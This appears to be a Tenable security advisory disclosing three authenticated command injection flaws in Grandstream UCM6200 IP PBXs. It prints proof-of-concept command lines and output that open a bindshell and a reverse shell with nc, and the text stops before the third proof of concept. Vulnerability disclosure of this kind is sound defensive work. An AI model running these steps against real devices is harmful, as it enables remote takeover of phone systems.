Grandstream UCM6200 Series Multiple Authenticated RCE

While examining a Grandstream UCM6202 IP PBX, Tenable discovered multiple authenticated remote OS command injection vulnerabilities.

CVE-2020-5757: "New" HTTPS API Command Injection

The UCM6200 Series "New" HTTPS API is vulnerable to authenticated command injection via a recapi POST request. Specifically, the filedir parameter allows new line characters which allow an attacker to bypass the existing command injection protections in order to execute commands.

Tenable developed a proof of concept for this issue. You can find it on our GitHub. The proof of concept creates a bindshell on port 1270 on the PBX. Note that two terminals are required to use the exploit; one to throw the exploit and one to connect to the bindshell. Sample output follows.

albinolobster@ubuntu:~$ python3 new_recapi_injection.py --rhost 192.168.2.1 --username lolwat --password LabPass1%
[+] Sending exploit. Creating bindshell at 192.168.2.1:1270

albinolobster@ubuntu:~$ nc 192.168.2.1 1270
uname -a
Linux UCM6202 3.0.35 #1 SMP PREEMPT Mon Apr 8 14:51:59 CST 2019 armv7l GNU/Linux

CVE-2020-5758: "Old" HTTPS API Command Injection

The UCM6200 Series "Old" HTTPS API, which is not enabled by default, is vulnerable to authenticated command injection via a recapi GET request. Specifically, the system does not filter shell metacharacters from the filedir parameter. Note that this is a different vulnerability from CVE-2020-5757.

Tenable developed a proof of concept for this issue. You can find it on our GitHub. The proof of concept spawns a reverse shell. Note that two terminals are required to use the exploit; one to throw the exploit and one to accept the reverse shell. Sample output follows.

albinolobster@ubuntu:~$ python3 old_cdrapi_injection.py --rhost 192.168.2.1 --lhost 192.168.2.107 --lport 1271

albinolobster@ubuntu:~$ nc -lvp 1271
Listening on [] (family 2, port)
Connection from _gateway 53876 received!
uname -a
Linux UCM6202 3.0.35 #1 SMP PREEMPT Mon Apr 8 14:51:59 CST 2019 armv7l GNU/Linux

CVE-2020-5759: SSH Command Injection

The UCM6200 SSH shell's config functionality is vulnerable to command injection when using the unset keyword. An authenticated remote attacker can abuse this to execute arbitrary OS commands. In the following proof of concept, the attacker gets a root shell.